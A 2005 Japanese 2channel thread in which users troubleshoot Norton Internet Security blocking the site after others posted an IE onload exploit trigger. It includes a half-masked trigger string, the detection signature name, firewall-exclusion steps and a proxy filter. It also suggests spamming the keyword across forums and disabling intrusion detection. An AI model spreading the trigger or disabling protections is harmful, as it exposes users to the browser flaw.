X



ノートン誤作動対策本部

レス数が950を超えています。1000を超えると書き込みができなくなります。
1動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/28(月) 16:08:40ID:bR9gbCGm0
詳細: 侵入を検出して遮断しました。 news19.2ch.net(206.223.151.67) とのすべての通信は 30 分間にわたって遮断されます。
アドレスをクリックすると攻撃者を追跡できます
この攻撃について詳しくは シマンテック・セキュリティ・レスポンス
2005/11/28(月) 16:14:23ID:FuI7n/xSP
↓スレスト
3動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/28(月) 16:15:57ID:bR9gbCGm0
1. [侵入検知]をダブルクリック
2. [AutoBlock]をクリック
3. 〔除外〕をクリック
4.右にある除外したコンピュータの[追加]をクリック
5. [範囲を使う]をチェック
5. 開始アドレスに「206.223.147.0」を入力、終了アドレスに「206.226.154.255」してOKをクリック
4動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/28(月) 16:18:13ID:UFsoIQqD0
何にノートンは反応してるわけ?
5動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/28(月) 16:19:31ID:7bX9hHG50
>>1

まあここに書いても
ここも反応して見れなかったからあんまり意味ないかもね
6動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/28(月) 16:23:28ID:io1rB9/x0
質問・雑談スレ208@運用情報板
http://qb5.2ch.net/test/read.cgi/operate/1132976990/
ここで進んでる
2005/11/28(月) 16:23:57ID:q0xhRg0i0
>>3
[AutoBlock] じゃなくて信頼ゾーンにおかなきゃだめぽ

>>4
それ言うとスレに貼るバカが増える
8 [―{}@{}@{}-] 動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/28(月) 16:25:38ID:Xl0qltyW0
>>4
<body onload=w****w()>
らしい。一応伏せておく
9動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/28(月) 16:26:59ID:3q4IcjBy0
ノートンを使わない これ最強
10動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/28(月) 16:27:56ID:UFsoIQqD0
>>7
いや具体的に聞きたかったんじゃないのよ
なんか貼られてるから反応してんのね?

鯖側のせいでないことだけ確認したかったのです。
でないと怖くて信頼ゾーンなんか設定できない。
11動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/28(月) 16:30:43ID:bR9gbCGm0
ERROR:referer情報が変です。(ref1)
書き込もうとすると↑が表示されて書き込めないのはなぜ?
回避方法きぼん。
12動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/28(月) 16:31:34ID:q0xhRg0i0
2chサーバの全IP

206.223.147.0-206.226.154.255

ってこれでいいの?
13動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/28(月) 16:35:39ID:Gob5/eqM0
1. [ファイアウォール]をダブルクリック
2. [ネットワーク]をクリック
3. [信頼]をクリック
4. [追加]をクリック
5. [範囲を使う]をチェック
6. 開始アドレスに「206.223.147.0」を入力、終了アドレスに「206.223.154.255」してOKをクリック
2005/11/28(月) 16:38:41ID:Vfbr98eT0
× 206.223.147.0-206.226.154.255
○ 206.223.147.0-206.223.154.255
15動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/28(月) 16:40:44ID:IOJ0BKwm0
VIPみれねええええええぇぇぇぇぇぇぇぇぇwwwwwwwwww
2005/11/28(月) 16:41:42ID:UA0HguoR0
>>1
「アドレスをクリックすると攻撃者に反撃できます」
とかそういう機能作ってくれないかなあ、ノートン先生
2005/11/28(月) 16:43:12ID:E7RORVRZ0
>>16
誤作動で2ちゃんに反撃?
18動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/28(月) 16:53:58ID:YPTd5/S60
あったなあ、そんな厨臭いFW
2005/11/28(月) 17:04:31ID:/1isYXAl0
13やってもギコナビ使えるようになりません。
ノートン無効にしないとつかえるようにないません
2005/11/28(月) 17:19:47ID:tci3IImI0
↓ストレス
2005/11/28(月) 17:41:54ID:dihv+n2A0
ヽ(`Д´)ノウワァァン!! 
2005/11/28(月) 17:44:51ID:bymA9qcJ0
IEに未パッチの深刻な脆弱性、実証コード公開
http://www.itmedia.co.jp/enterprise/articles/0511/22/news015.html

元をただすと、MSが悪いというオチ。
23動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/28(月) 17:49:44ID:P3OAKiHs0
>>14
これやったけど、運用情報だけはNISきらないとみれない
24動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/28(月) 18:13:12ID:E5jIz+wH0
つまりノートンは使うなという警告ですか。そうですか・・・
25動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/28(月) 18:14:15ID:cVb7NJha0
↓スレスト
2005/11/28(月) 18:22:59ID:odm3qhrU0
test
27動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/28(月) 18:23:34ID:vEq4MwVH0
自己責任論再燃か?
2005/11/28(月) 18:28:48ID:l4yE4UX20
脆弱性うんぬんはおいといてさ
実際に悪さをするスクリプトな訳でもないただの文字列に
「誤反応」してるだけでしょ?
だったら、loveletterウイルスのソースと同じじゃん。
結論:脳豚氏ね
2005/11/28(月) 18:29:50ID:EoT3dibj0
598 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/11/27(日) 18:15:04
とりあえず、侵入阻止→拡張→HTTP MSIE javaScript OnLoad Rte CodeExecの
チェックを外すと出なくなるけど、
阻止してもらいたいときに切ってしまっているのはマズい気ガス

948 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/11/28(月) 18:18:55
>>898
2005なら >>598
2004だと、侵入阻止→設定→詳細→HTTP MSIE javaScript OnLoad Rte CodeExec
を除外
30 ◆BOX/05....
垢版 |
NGNG
最善策:ノートンアンインスコ
2005/11/28(月) 18:31:34ID:7IFm7RLw0
ノートンの侵入検知だけ切るとか
2005/11/28(月) 18:36:51ID:hPlrmmBO0
世界中のフォーラム、ブログに例のキーワード貼りまくれば
シマンテックに苦情がいくと聞いたんですが本当ですか?
2005/11/28(月) 18:38:13ID:FJuTAB+v0
問題を起こしてるのはNISだけなんです
NAVまで悪く言わないでくださいw
2005/11/28(月) 18:38:40ID:40JJEO9t0
NAVは前科があるだろうが
2005/11/28(月) 18:39:44ID:FJuTAB+v0
今回の件だよw
36動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/28(月) 18:59:34ID:2gW9Pj+W0
ノトンうぜーーーーーーーーー
どうすればいいのよ
2005/11/28(月) 19:01:05ID:Czo7H8Ry0
バスターも4月に前科あるからな。
アップデートするとCPU使用率が100%になるっつーウィルスばら撒いたし。
もう何を信じりゃ良いのか
2005/11/28(月) 19:02:36ID:5ySU5UtL0
>>36
>>13

これでOK
39動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/28(月) 19:03:30ID:XbjYzl3H0
>>37
あんときゃノートン先生でよかったとつくづく思ったもんだ

('A`)ホントにどうしよ。
2005/11/28(月) 19:10:10ID:40JJEO9t0
まールーターはさんでるし、設定緩めてもいいかー・・・

なんだか負けた気分orz
41 ◆BOX/05....
垢版 |
NGNG
>>37
俺にとってはかえってうれしかったぞ。
1ヶ月サポ期間延長したし、
42動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/28(月) 19:19:23ID:nv3YOitT0
てす
43動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/28(月) 19:22:19ID:IEwXQMy10
ノートンの進入検知を殺すと見れた。
>>40みたいに、ルーターを信じてみます。。。。
44動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/28(月) 19:22:41ID:h7K4WcS/0
てすと
2005/11/28(月) 19:23:33ID:7LHEmi0Y0
一応信頼に範囲入れるという形で復帰。
つうかMSが修正しない限りだめってことか。
46動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/28(月) 19:26:50ID:tdeTXKB70
http://tmp5.2ch.net/test/read.cgi/download/1133173327/

ダウソでもきた
これは運営としては、ほったらかす?
俺は対策できたし、もういいけど。
47動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/28(月) 19:27:11ID:KEq5OaRO0
次のOSに期待する・・・
2005/11/28(月) 19:31:13ID:7LHEmi0Y0
ラブレターのコードと同じだからMSか脳豚どちらかが対応しないと無理だろ。
2005/11/28(月) 19:32:56ID:5b/RdSwI0
@Jane系の専用ブラウザ使ってる場合
JaneフォルダにReplaceStr.txtというテキストファイルを作り
onload=[Tab]onload=
みたいに置き換えればOK(↑の”[Tab]”はタブ入力)
Tabキーを押すのを忘れて[Tab]onloadとそのまま書いてはダメ

これってガセなの?
2005/11/28(月) 19:33:04ID:X+I8LyDJ0
ラブレターはなんで修正されないん?2ちゃん以外でも影響あるんじゃね?
2005/11/28(月) 19:38:48ID:vMImSlhl0
>>49
Exactly(その通りでございます)
52動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/28(月) 19:41:21ID:tdeTXKB70
http://pc8.2ch.net/test/read.cgi/sec/1132279196/

ここだけどうしてもつながらないな
53 ◆BOX/05....
垢版 |
NGNG
WindowsVistaいつー?
2005/11/28(月) 19:51:59ID:/5sPHxlZ0
>>52とか
おまえらAutoBlockの遮断解除やった?
2005/11/28(月) 19:54:18ID:qQB9GUGV0
>>13のやっただけなんだけど、(なおった)
そのままでいいのかなぁ?
2005/11/28(月) 19:58:40ID:t17JLnSn0
AutoBlockの遮断解除

どうやるの?
2005/11/28(月) 19:58:47ID:sQHfPsxY0
auto protect offにしとくとか、そーゆー問題じゃねーの?
普通にみれるけど。
後で何かあったらヤだな。
2005/11/28(月) 20:02:12ID:7LHEmi0Y0
>>56
2005なら進入検知って項目あると思うけど
2005/11/28(月) 21:33:49ID:VLgTJOGf0
MSがIE脆弱性の対策を実行後
NISの侵入検知の設定から
HTTP MSIE JavaScript OnLoad Rte CodeExec
を除外すれば問題は解決するのでは?

2005/11/28(月) 21:40:03ID:8vZmSOq10
見れるようにはなったが、板一覧の更新ができねー
2005/11/28(月) 21:54:15ID:LZhwkfYg0
>>59
> MSがIE脆弱性の対策を実行後

最短でも半月は放置だね
62 ◆BOX/05....
垢版 |
NGNG
IEが玄人に嫌われてる理由が改めて再認識。。
2005/11/28(月) 22:01:25ID:KXem21UN0
>>13
これこのままにしといて問題ない?
NGNG
理由が→理由を
2005/11/28(月) 22:02:54ID:WmGEF4hJP
でもWEBデザイナーにとってIEは切っても切れない関係にある
NGNG
>>63
2chが攻撃してこないだろうと思うならそれでおk
2005/11/28(月) 22:04:13ID:43oJSBLD0
これどうすればいいんだ ある板だけ見れぬ ノートン切れば見れるけど・・・
NGNG
今自分が書き込んでるスレを読めないような奴は
対処して他のスレを読めるようになっても無駄だと思わないか?
2005/11/28(月) 22:11:53ID:WmGEF4hJP
2ちゃんねるというのは広いからね。。。色んな意味で
2005/11/28(月) 22:15:40ID:/ImKa0uc0
すまんマルチになってしまうがこっちにレスするべきだったか
http://game10.2ch.net/test/read.cgi/handygame/1133147093/
このスレが開けなくなったんだが
ここの
370 :枯れた名無しの水平思考:2005/11/28(月) 14:15:46 ID:F9m8RPjZ0
????
こいつのメール欄
これ何?これのせい?
2005/11/28(月) 22:17:33ID:43oJSBLD0
>>13やっても治らないわけだが・・・・・
2005/11/28(月) 22:22:52ID:3W3Re7YA0
>>71
侵入検地→AutoBlock→現在AutoBlockで遮断してあるコンピュータ
の欄に2chのアドレスがあれば解除。30分で自動でなくなるけど。
2005/11/28(月) 22:28:39ID:43oJSBLD0
おう・・・>>72>>13のコンボでいけたよ あるがとう>>72
7470
垢版 |
2005/11/28(月) 22:29:35ID:/ImKa0uc0
スマン早とちりした
398と500だな
2回も>>8これ貼ってやがる

で、侵入検地→AutoBlock→除外→削除して
ノートン解除してスレ読み込んで該当レスを透明あぼ〜んで解決できました
2005/11/28(月) 22:44:09ID:JgXJzu1N0
1. [ファイアウォール]をダブルクリック
2. [ネットワーク]をクリック
3. [信頼]をクリック
4. [追加]をクリック
5. [範囲を使う]をチェック
6. 開始アドレスに「206.223.147.0」を入力、終了アドレスに「206.223.154.255」してOKをクリック

たまにこういうのがあるけど、こういうことやって何が楽しんだろうといつも思う。
2005/11/28(月) 22:48:09ID:SKtiHmR40
めんどくさいならやらんでもいい
2chをやめるのも選択肢の一つだし
2005/11/28(月) 22:48:48ID:t8IES7px0
>>75
2005/11/28(月) 22:53:42ID:5b/RdSwI0
>>75
は?
それの何が問題なの?
2005/11/28(月) 22:57:14ID:JgXJzu1N0
ああ、言葉足らずでゴメンナサイ
上のは解決法で下の言葉は誤作動させる文字列についてのコメント。
てか、上の貼り付けた意味ないしスマンカッタorz
2005/11/28(月) 23:19:12ID:iIxGlAUl0
>>79
びびったYO!
2005/11/28(月) 23:27:41ID:TIZipkGn0
>>79
びびったYO!
2005/11/28(月) 23:34:15ID:ZCi5Y4Py0
>>75のやり方で解決したけどシマンテックがいずれ対応してくれんのかな
83動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/28(月) 23:36:26ID:dNiMHICl0
>>79
確信犯めw
2005/11/28(月) 23:36:27ID:MkSpIaOA0
ウィルス誤検出への対応を考えれば期待出来ないな
2005/11/28(月) 23:39:50ID:z708/Phl0
かくしんはん【確信犯】

道徳的・宗教的・政治的な信念に基づき、自らの行為を正しいと信じてなされる犯罪。
思想犯・政治犯・国事犯など。

三省堂提供「大辞林 第二版」より
2005/11/28(月) 23:44:09ID:5ZmTWE2Y0
出た確信犯コピペ
2005/11/28(月) 23:52:30ID:it50771z0
ノートンはアンチウイルスだけでいいじゃん。
ノートン インターネットセキュリティなんて不要。
ノートンはウイルスが専門。
インターネットとか専門外。
アンチウイルスがよくできてるからって、何でもかんでもノートンに頼ろうとするのがおかしい。
ネットセキュリティはそれ専用のもっとイイの使えばいいじゃん。
おれノートンシステムワークだけどなんの問題もないよ。
2005/11/28(月) 23:54:46ID:meHquAsM0
模倣犯だな
89 [―{}@{}@{}-] モーホー犯
垢版 |
2005/11/28(月) 23:57:57ID:tzhurvMZ0
            , '´  ̄ ̄ ` 、 
          i r-ー-┬-‐、i 
           | |,,_   _,{| 
          N| "゚'` {"゚`lリ     や ら な い か 
             ト.i   ,__''_  ! 
          /i/ l\ ー .イ|、 
    ,.、-  ̄/  | l   ̄ / | |` ┬-、 
    /  ヽ. /    ト-` 、ノ- |  l  l  ヽ. 
  /    ∨     l   |!  |   `> |  i 
  /     |`二^>  l.  |  | <__,|  | 
_|      |.|-<    \ i / ,イ____!/ \ 
  .|     {.|  ` - 、 ,.---ァ^! |    | ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄l 
__{   ___|└―ー/  ̄´ |ヽ |___ノ____________| 
  }/ -= ヽ__ - 'ヽ   -‐ ,r'゙   l                  | 
__f゙// ̄ ̄     _ -'     |_____ ,. -  ̄ \____| 
  | |  -  ̄   /   |     _ | ̄ ̄ ̄ ̄ /       \  ̄| 
___`\ __ /    _l - ̄  l___ /   , /     ヽi___.| 
 ̄ ̄ ̄    |    _ 二 =〒  ̄  } ̄ /     l |      ! ̄ ̄| 
_______l       -ヾ ̄  l/         l|       |___| 
2005/11/29(火) 00:06:01ID:GOS6cDIa0
先生の過保護は信頼面もカバーした上ならいいんだが
現状のFWに関する被害とか調べるとやっぱ誤作動としか呼べんもんなのなかね
アドバンテージが万が一多少あっても、弊害によるリスク大きすぎ
情報集めるのに2chみれないのは痛い
2005/11/29(火) 00:27:17ID:aaYc1isI0
>>13
を設定したら使えるようになったんだけど
これって要するに
にちゃんの鯖からアタックきてもヌルーするぜ!って設定と考えてok?
2005/11/29(火) 00:29:28ID:vt0yxKsh0
>>91
そうよ
2005/11/29(火) 00:35:55ID:w1cUdzMP0
すいません、それでその2ちゃんの鯖からのアタックっていうのは
ありえることなんですか?
2005/11/29(火) 00:37:32ID:crk51mWc0
>>13 を設定した後見るには見れたけどアンカーがずれまくってる
これはどういうことでしょう…
2005/11/29(火) 00:38:10ID:A6ue0PoY0
>>93
全て自己責任でどうぞ
そういう場所なんで
2005/11/29(火) 00:39:13ID:A6ue0PoY0
>>94
ログを破棄して再取得
2005/11/29(火) 00:41:41ID:crk51mWc0
>>89
d
2005/11/29(火) 00:48:05ID:yo1rF0pa0
2chが攻撃してくるってどういう状況よ?
2005/11/29(火) 01:28:37ID:vt0yxKsh0
>>29やってIE使わなければいいことよ
2005/11/29(火) 01:37:24ID:q11jyR0o0
>>98
ひろゆきが世界の結末を知ったとき
101動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/29(火) 01:54:06ID:XmFaLipY0
ノートンのオートプロテクトを無効にしてると、反応しないの?
2005/11/29(火) 02:12:19ID:CSqHdTd20
とりあえず
ノートンインターネットセキュリティーをアンインストールして
ノートンアンチウイルスは残して
ZoneAlarmとかゆうのでもインストールしとけばいいのかな?
2005/11/29(火) 02:17:21ID:LmYtCULY0
そこまでしなくてもいいんだけどね
これを機にNISと縁を切りたいならアンインストールしたらいい
104動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/29(火) 02:21:38ID:IeAd5xNRO
スレスト
2005/11/29(火) 02:27:47ID:6n9wrj/w0
↓ストレス
2005/11/29(火) 02:40:14ID:CSqHdTd20
>>103
つい最近NIS2003を在庫処分900円で手に入れたばっかなんだが
こんなことになるとは思わなかった
2005/11/29(火) 02:46:19ID:HfT5xp2X0
アドレスを許可させといて攻撃しようってんだな!?
2005/11/29(火) 04:05:28ID:8mpdBXGL0
>>107

ニ|ニ       , -─- 、   \
o‐、     /      ヽ   ) 2chのIP除外して
‐ヽ‐      l .....   ....   !   ( 攻撃されたらどうしようって?
(こ     rj. ,ィぇ  rぇ、  lォ   }
l −     `l  / ー ヽ  l′ ノ/⌒て_
| ー   __,人. {ゝニ.フ } /ヽ_       `ー
/7.|  r/ j_\、_ィ/ノ 8 o sヽ \ー'⌒ヽ-
7 ト_/ j       O⊂¬‐ 、d 9 l  ノ だったら2chから
ヽxyトミ}|          l{三 ノ \<>| (  引退すれば万事解決だぜ!
ス且ー'|           |ー 'ヽ    ̄) )
2005/11/29(火) 06:52:49ID:2ml1z+gt0
なあに、かえって免疫力がつく
2005/11/29(火) 07:42:45ID:obfy6OkR0
ブロードバンドルーターがあれば、ファイアーウォールの設定など
少々甘くしても大丈夫なんじゃないかって気はするが。
NGNG
ルータの設定をちゃんとやれば、という前提でならね。
そして今回問題になってるタイプの脆弱性はルータでは防げない。
2005/11/29(火) 08:23:18ID:obfy6OkR0
>>111
いや、IEの脆弱性のほうじゃなくて、今回の誤動作対策に
2chの鯖を許可リストに入れた場合の攻撃うんぬんのほう。
113動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/29(火) 08:48:19ID:2zLuZQ/q0
なんでスレストされないの?
114動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/29(火) 08:54:51ID:ZTwj2kSU0
ノートン作動したら、この板見れなくなったよ
ここに対策スレ立てても意味無いから!
NGNG
>112
ああ。そんなもん心配するのはネタかと思ってた。

>114
どこに立てても同じ。
2005/11/29(火) 10:39:14ID:j6lJ5zf10
body onload=w
これをNGにして解決
2005/11/29(火) 11:32:40ID:UNm/pA9n0
>>116
NGは効かないよ
2005/11/29(火) 11:42:19ID:n1yzUozd0
>>116
意味無いし、忘れた頃に原因究明したくても、あぼーんされてたら気がつかない
2005/11/29(火) 12:33:12ID:VDSWZZj80
抜本的な解決策は>>13>>72でいいのでしょうか?
2005/11/29(火) 12:35:58ID:TDys/hKO0
>>119
応急処置ならOK
2005/11/29(火) 12:43:52ID:VDSWZZj80
応急なんですね。シマンテックは対応してくれるのかなぁ…。
2005/11/29(火) 12:45:10ID:2iyMfwEH0
ノートン2003の場合は、こっちも必要では?

質問・雑談スレ208@運用情報板
http://qb5.2ch.net/test/read.cgi/operate/1132976990/250
250 動け動けウゴウゴ2ちゃんねる sage 2005/11/28(月) 16:02:49 ID:sD89a3L50
でも今になって出てくるんだからセキュリティホールって言うものは恐ろしい

>>235のを適用する方法を書きます。
ノートン2003の場合

1. [侵入検知]をダブルクリック
2. [IPアドレス]をクリック
3. 右にある除外したコンピュータの[追加]をクリック
4. [範囲を使う]をチェック
5. アドレスに「206.223.147.0-206.226.154.255」を入力してOK
2005/11/29(火) 12:47:55ID:JZL21HVx0
とりあえず、オミトロンのフィルタ。
即席だし、ノートン入れて無いから使えるか分からんけど。

[Patterns]
Name = "Kill NortonTrap2"
Active = TRUE
URL = "[^/]++.2ch.net/"
Limit = 256
Match = "onload="
Replace = "notload"
2005/11/29(火) 12:48:40ID:x2/YUPqr0
使ってないから知らないんだけど、PFWだけアンインストール出来ないのかい?
出来るなら、アンインストールして、フリーの適当なやつを使うのが一番じゃないかと思う。
2005/11/29(火) 12:53:19ID:UNm/pA9n0
>>124
NAVとPFWを別に導入してるならともかく、NISではPFWだけアンインスコはたぶん無理だったかと。

もちろん、PFWをオフにして、別のFWを使う手はアリだけど。

2005/11/29(火) 12:55:56ID:YCwhjKPJ0
>>122
ノートン2003の場合は[ファイアウォール]と[侵入検知]両方の設定が必要なの?
2005/11/29(火) 12:59:52ID:2iyMfwEH0
終了アドレスが

>>122だと  206.226.154.255
           ^^^^
>>13だと   206.223.154.255
           ^^^^
だけど、どっちが正しいんだろう。開始アドレスはどっちも同じだけど。

>>126
コピペしただけなので分かりません、すみません。
2005/11/29(火) 13:00:05ID:x2/YUPqr0
>>125
そうか。この件であたふたするのはPC初心者だろうから、あれこれ入れろと言うのもなあ。
困ったもんだねえ。
129動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/29(火) 13:40:48ID:Uit2EyL90
>>13 今やったけどほんとにこれを信用していいのか?

運営側の公式な対策の発表を求めます。
2005/11/29(火) 13:54:26ID:h6WIcM/k0
(´・ω・`)
131動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/29(火) 13:57:15ID:64Yve/u40
>>3やったら見れる様になったけど、これって何かまずいの?
2005/11/29(火) 14:08:54ID:AAzcm5DD0
>>131
そのアドレス範囲にあるコンピュータから攻撃を受けてもノートンが反応しない
2005/11/29(火) 14:10:45ID:jbErmE7Q0
>>127
>>3>>122の226はコピペミスだと思う。>>13,14がたぶん正解。
下の鯖監視係で確認できる。あとイレギュラーなのはbeとsports2
be.2ch.net (202.222.31.214)
sports2.2ch.net (210.224.161.33)

使う鯖のIPアドレスを個別に指定したほうが安全だと思うし、
個人的にも安心する。

2ch 鯖監視係。
http://sv2ch.baila6.jp/sv2ch01.html
2005/11/29(火) 14:15:21ID:kugnwlkU0
>>131
>>3は間違いです。
IPの範囲が違うらしい。

一応信用できるサイトより

2chの裏口
http://www1.ttcn.ne.jp/~xxxxx/2ch/
http://jbbs.livedoor.jp/bbs/read.cgi/computer/6542/1133172202/
2005/11/29(火) 14:18:37ID:eTCs9aYs0
ルーター入れてる人は>>13やっても問題ないんじゃないの?
2005/11/29(火) 14:37:44ID:SHIzEmRw0
壷から来ますた
137動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/29(火) 14:38:13ID:58QXXjI60
138動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/29(火) 14:38:33ID:HN4zcZyS0
TUBO
139動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/29(火) 14:38:48ID:dAnayUdk0
2005/11/29(火) 14:39:29ID:jbErmE7Q0
また壷か。
141動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/29(火) 14:40:14ID:pO11347s0
ぼつ
142動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/29(火) 14:40:30ID:Q+pwb/zX0
ちゅぼん
143動け動けウゴウゴ2ちゃんねる
垢版 |
NGNG
つぼ
144動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/29(火) 14:41:42ID:q2fVmiiF0
ツボ
145動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/29(火) 14:42:05ID:V84A/5KC0
ウィルスバスター越しに壷カキコ
146動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/29(火) 14:42:06ID:6cFmQKPS0
壷うぜえええええええええええええええええええええええええええええええええええええええええ
147(ё)ぎゃわゎ ◆1/3.GW370.
垢版 |
NGNG
つぼった
148動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/29(火) 14:43:14ID:N03IfZmO0
tubo
149動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/29(火) 14:43:30ID:x4bxgnO+0
壷記念ぱぴこ
150動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/29(火) 14:44:16ID:vFFFIInt0
バスター最高
つぼ
151動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/29(火) 14:44:23ID:09U0zSRv0
つぼんぬ
152動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/29(火) 14:44:54ID:6ZUDY+9a0
つぼ
153動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/29(火) 14:45:28ID:vFFFIInt0
バスター最高
つぼ
2005/11/29(火) 14:45:35ID:j6neWoaE0
いいかげん壷の荒らし依頼はやめてください><
2005/11/29(火) 14:45:53ID:5QTYcp490











156動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/29(火) 14:47:06ID:5opENHAy0
少なくとも今回の壷は役に立っていると思う。
まだ知らない人もいるかもしれないしね。
157動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/29(火) 14:47:07ID:iekpw/F10
158動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/29(火) 14:52:38ID:pO11347s0
ぼつ
159動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/29(火) 14:55:51ID:RB8/SHVL0
ナイス壺
160動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/29(火) 14:56:11ID:gvcrll0r0
侵入検知を無効にした
NIS2003 WinXP
2005/11/29(火) 14:57:36ID:EfpUDJCv0
壺北
ノートントラップ?
2005/11/29(火) 14:58:46ID:5hzvZW930
>>133の言う通り気になるので個別に指定した。
163動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/29(火) 14:58:51ID:cAmLLi0Y0
tubo-!
164動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/29(火) 15:01:03ID:XD4qVywj0
2005/11/29(火) 15:08:54ID:5ETLyLfx0
>>135
あなたのルーターは穴だらけです。
2005/11/29(火) 15:20:39ID:hIw7N2TD0
つぼ
2005/11/29(火) 15:22:09ID:8mpdBXGL0
>>129

http://qb5.2ch.net/test/read.cgi/operate/1132976990/

442 名前:動け動けウゴウゴ2ちゃんねる 投稿日:2005/11/29(火) 15:01:54 ID:eTCs9aYs0
>運営の人
ノートン誤作動の件なんだけど明らかに狙って書き込みしてるんだから
特定文字列を書き込みしようとした人を強制バーボンとかしてもいいんじゃないの?

448 名前: ◆SSu.zv/rvs 投稿日:2005/11/29(火) 15:14:32 ID:zBqE3jpw0
淘汰されなきゃね、
生き残りを手伝う気はさらさらないっす

449 名前: ◆MUMUMUhnYI 投稿日:2005/11/29(火) 15:18:01 ID:VEIDKG1+0
そんな迷惑なソフトなんて、自然にまかせてなくなるべきだって、
おじさんはゆうだろうな。

私も、そう思っていたり。

◆SSu.zv/rvs=FOX ★ ◆MUMUMUhnYI =root ★
2005/11/29(火) 15:23:39ID:hIw7N2TD0
ちょwwwwwwww運営wwwwww
169動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/29(火) 15:24:29ID:gvcrll0r0
色々調べたら俺の使ってるjaneDoeViewでリプレイス出来るみたいだな
これでいいや
170動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/29(火) 15:26:41ID:ZQLMHwKg0
壺真紀子
171動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/29(火) 15:30:40ID:gVJ+U4Sf0
>>169
まあせいぜいがんばりや
172動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/29(火) 15:31:14ID:luR6ZtU30
壷亮子
173動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/29(火) 15:35:22ID:YxCZ2tCu0
ツ本
174動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/29(火) 15:36:03ID:gvcrll0r0
>>171
おう!
2005/11/29(火) 15:39:00ID:2iyMfwEH0
>>133
ありがとうございました。
2005/11/29(火) 15:40:37ID:eAQwFLE60
壷c⌒っ*゚д゚)っφ 記念カキコ

しかしノートン先生は2ちゃんねるに厳しいでつね('A`)
2005/11/29(火) 15:43:01ID:V00jU71b0
AutoBlockも解除したんだけど
なぜかノートントラップが直らんorz
2005/11/29(火) 15:44:10ID:IewT+CVn0
で、結局どうなったんだ?
誤動作して終わりなのか?
NGNG
|,゚д゚)・・・・・ ツボ。それ以前に
僕のノートン先生はぶっ壊れてるからある意味無意味。

現在の情報が更新中から更新されないし。。。
項目クリックするとページが表示出来ませんって言われるし。。。
2005/11/29(火) 15:53:48ID:???0
攻撃を遮断しましたって出るけど
ふつうに2ch見れますよ。
181動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/29(火) 15:58:13ID:gVJ+U4Sf0
>>180
遮断されたんなら普通じゃないだろ
2005/11/29(火) 15:59:32ID:V00jU71b0
>>178
見れんorz
183sage
垢版 |
2005/11/29(火) 16:02:17ID:ndHSVD8q0
壷。
うちはマカフィーだからカンケー無い
184動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/29(火) 16:03:53ID:IfvCPHxz0
知らんがなつぼ
185動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/29(火) 16:06:20ID:PJws21uA0
13と14でいいんだな
これって見れないときにいちいちやんなきゃいけないの?
それとも一度やっとけばいいの?
2005/11/29(火) 16:13:03ID:y3Gail050
187動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/29(火) 16:24:43ID:tl2CRrIr0
tubo
188動け動けウゴウゴ2ちゃんねる
垢版 |
2005/11/29(火) 16:27:01ID:NLpGLhEQ0
壺UEEEEEEEEEEEEeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee
2005/11/29(火) 16:27:11ID:+/jaO5QA0
ノートンなんか使ってるからだろwwww
